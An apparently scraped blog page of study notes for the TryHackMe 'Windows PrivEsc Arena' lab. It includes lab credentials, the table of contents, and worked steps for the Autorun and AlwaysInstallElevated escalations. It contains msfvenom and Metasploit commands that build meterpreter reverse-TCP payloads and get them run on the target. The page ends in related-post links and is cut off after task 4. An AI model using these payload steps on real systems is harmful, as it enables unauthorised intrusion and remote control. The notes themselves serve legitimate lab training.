文章目录

Task 1 Connecting to TryHackMe network
Task 2 Deploy the vulnerable machine
Task 3 Registry Escalation - Autorun
- Detection
- Exploitation
Task 4 Registry Escalation - AlwaysInstallElevated
- Detection
- Exploitation
- Windows VM
Task 5 Service Escalation - Registry
- Detection
- Exploitation
Task 6 Service Escalation - Executable Files
- Detection
- Exploitation
Task 7 Privilege Escalation - Startup Applications
- Detection
- Exploitation
Task 8 Service Escalation - DLL Hijacking
- Detection
- Exploitation
Task 9 Service Escalation - binPath
- Detection
- Exploitation
Task 10 Service Escalation - Unquoted Service Paths
- Detection
- Exploitation
Task 11 Potato Escalation - Hot Potato
- Exploitation
Task 12 Password Mining Escalation - Configuration Files
- Exploitation
Task 13 Password Mining Escalation - Memory
- Exploitation
Task 14 Privilege Escalation - Kernel Exploits
- Establish a shell
- Detection & Exploitation

https://tryhackme.com/room/windowsprivescarena

Task 1 Connecting to TryHackMe network

To complete this room and access the vulnerable Windows machine, you need to first connect to TryHackMe’s VPN. If you’ve not done this before, first complete the OpenVPN room and learn how to connect.

Task 2 Deploy the vulnerable machine

This room will teach you a variety of Windows privilege escalation tactics, including kernel exploits, DLL hijacking, service exploits, registry exploits, and more. This lab was built utilizing Sagi Shahar’s privesc workshop (https://github.com/sagishahar/lpeworkshop) and utilized as part of The Cyber Mentor’s Windows Privilege Escalation Udemy course (http://udemy.com/course/windows-privilege-escalation-for-beginners).

All tools needed to complete this course are on the user desktop (C:\Users\user\Desktop\Tools).

Let’s first connect to the machine. RDP is open on port 3389. Your credentials are:

username: user
password: password321

For any administrative actions you might take, your credentials are:

username: TCM
password: Hacker123

xfreerdp /u:user /p:password321 /cert:ignore /v:10.10.188.179
xfreerdp /u:TCM /p:Hacker123 /cert:ignore /v:10.10.220.147

Task 3 Registry Escalation - Autorun

Detection

Windows VM

Open command prompt and type: C:\Users\User\Desktop\Tools\Autoruns\Autoruns64.exe
In Autoruns, click on the ‘Logon’ tab.
From the listed results, notice that the “My Program” entry is pointing to “C:\Program Files\Autorun Program\program.exe”.
In command prompt type: C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu “C:\Program Files\Autorun Program”
From the output, notice that the “Everyone” user group has “FILE_ALL_ACCESS” permission on the “program

Exploitation

Kali VM

Open command prompt and type: msfconsole
In Metasploit (msf > prompt) type: use multi/handler
In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse_tcp
In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address]
In Metasploit (msf > prompt) type: run
Open an additional command prompt and type: msfvenom -p windows/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f exe -o program.exe
Copy the generated file, program.exe, to the Windows VM.

Windows VM

Place program.exe in ‘C:\Program Files\Autorun Program’.
To simulate the privilege escalation effect, logoff and then log back on as an administrator user.

Kali VM

Wait for a new session to open in Metasploit.
In Metasploit (msf > prompt) type: sessions -i [Session ID]
To confirm that the attack succeeded, in Metasploit (msf > prompt) type: getuid

Task 4 Registry Escalation - AlwaysInstallElevated

Detection

Windows VM
1.Open command prompt and type: reg query HKLM\Software\Policies\Microsoft\Windows\Installer
2.From the output, notice that “AlwaysInstallElevated” value is 1.
3.In command prompt type: reg query HKCU\Software\Policies\Microsoft\Windows\Installer
4.From the output, notice that “AlwaysInstallElevated” value is 1.

Exploitation

Kali VM

Open command prompt and type: msfconsole
In Metasploit (msf > prompt) type: use multi/handler
In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse_tcp
In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address]
In Metasploit (msf > prompt) type: run
Open an additional command prompt and type: msfvenom -p windows/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f msi -o setup.msi
Copy the generated file, setup.msi, to the Windows VM.

Windows VM

1.Place ‘setup.msi’ in ‘C:\Temp’.
2.Open command prompt and type: msiexec /quiet /qn /i C:\Temp\setup.msi
`
Enjoy your shell!

TryHackMe学习笔记-Windows PrivEsc Arena相关推荐

学习笔记:Windows 下Keras安装和配置指南
目录: 目录: Windows下Keras安装和配置指南 Keras 框架搭建安装本系列参考官方文档官方文档这就是keras可以参考前篇:这就是keras 学习笔记 Keras:一些基本概念一 ...
学习笔记-Windows 安全
Windows 安全注 : 笔记中拓扑图 drawio 源文件在其图片目录下免责声明本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关. 大纲漏 ...
学习笔记-Windows 基础服务搭建
Windows 基础服务搭建磁盘管理例1 新建两个 10G 的硬盘,名称为 A-10-1.A-10-2,挂载到主机; 新建镜像卷,使用所有空间,驱动器号为 D. 1. 开始--管理工具--计算机管 ...
TryHackMe学习笔记-The Cod Caper
文章目录概述端口扫描 80端口漏洞利用 Web页面访问目录扫描 SQL注入命令执行 - 初始立足点敏感文件查找 LinEnum 提权 gdb 利用pwntools溢出 hashcat破解ha ...
《Windows via C/C++》学习笔记 —— Windows 线程池
线程池(thread pool),允许有多个线程同时存在,并发执行,并且这些线程受到统一管理. 在Windows Vista中,提供了全新的线程池机制,一般这些线程池中的线程的创建的销毁是由操作系统自 ...
C++学习笔记-windows底层粗略认识
1.所有的软件都运行在内存中(以数字的方式): 2.菜单栏中菜单的排放,在每次运行前都存储在文件中: 3.存放界面信息的地方为"资源文件":[这只是其中的一种方式,现在都是xml的 ...
[学习笔记]Windows CMD/bat
基础知识命令帮助的符号解释 Notation Description Text without brackets or braces 必须要输入的命令 <Text inside angle b ...
[学习笔记] windows 下安装nginx和php以及添加yaf框架和redis扩展
下载nginx和php压缩包 nginx 下载网址:http://nginx.org/en/download.html php 下载网址:http://php.net/downloads.php#v7 ...
Win32学习笔记 - Windows 常用消息大全
表A-1 Windows消息分布消息范围说明 0 - WM_USER – 1 系统消息 WM_USER - 0x7FFF 自定义窗口类整数消息 WM_APP - 0xBFFF 应用程序自定义消 ...

TryHackMe学习笔记-Windows PrivEsc Arena

文章目录

Task 1 Connecting to TryHackMe network

Task 2 Deploy the vulnerable machine

Task 3 Registry Escalation - Autorun

Detection

Exploitation

Task 4 Registry Escalation - AlwaysInstallElevated

Detection

Exploitation

Windows VM

TryHackMe学习笔记-Windows PrivEsc Arena相关推荐

最新文章

热门文章